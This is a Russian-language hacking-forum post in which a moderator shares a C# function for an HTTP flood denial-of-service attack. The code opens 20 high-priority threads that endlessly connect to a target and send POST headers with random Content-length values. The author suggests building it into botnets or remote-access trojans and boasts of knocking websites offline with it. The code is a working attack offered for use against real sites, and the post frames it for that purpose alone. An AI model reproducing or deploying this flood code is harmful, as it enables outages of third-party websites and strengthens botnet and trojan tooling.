• Добро пожаловать на сайт - Forumteam.bet !

    Что бы просматривать темы форума необходимо зарегестрироваться или войти в свой аккаунт.

    Группа в телеграме (подпишитесь, что бы не потерять нас) - ForumTeam Chat [Подписатся]
    Связь с администратором - @ftmadmin

Простой скрипт для Dos атаки на C#

  • Автор темы Amazon
  • Дата начала
  • Ответы 0
  • Просмотры 1K

Amazon

Модератор
Команда форума
Регистрация
31.03.18
Веб-сайт
forumteam.bet
Сегодня бы хотел показать функцию HTTP флуда в 20 потоков.
Можно использовать в ботнетах или как встроенную функцию в ратнике.

Код:
Код:
static void HttpFlood(string url, int port)
{
    int threads = 20;
    Random r = new Random();
    for (int count = 0; count < threads; count++)
    {
        new Thread(() =>
        {
            Thread.CurrentThread.IsBackground = true;
            Thread.CurrentThread.Priority = ThreadPriority.Highest;
            while (true)
            {
                try
                {
                    TcpClient tcpClient = new TcpClient();
                    tcpClient.NoDelay = true;
                    tcpClient.Connect(url, port);
                    StreamWriter streamWriter = new StreamWriter(tcpClient.GetStream());
                    streamWriter.Write("POST / HTTP/1.1\r\nHost: " + url + "\r\nContent-length: " + r.Next(3500, 10000) + "\r\n\r\n");
                    streamWriter.Flush();
                    Console.WriteLine("Server up! Packet " + count);
                }
                catch
                {
                    Console.WriteLine("Server is down!");
                }
            }

        }).Start();
    }
    while (true) { }
}

Ps: мне один скинули от 500-1000 классно сайты ложит))
Был протестирован мной сайт лежал время и его подняли.

Из минусов желательно иметь дедик.

И когда будет раздел программирование то туда и перенести можно.
 
Сверху Снизу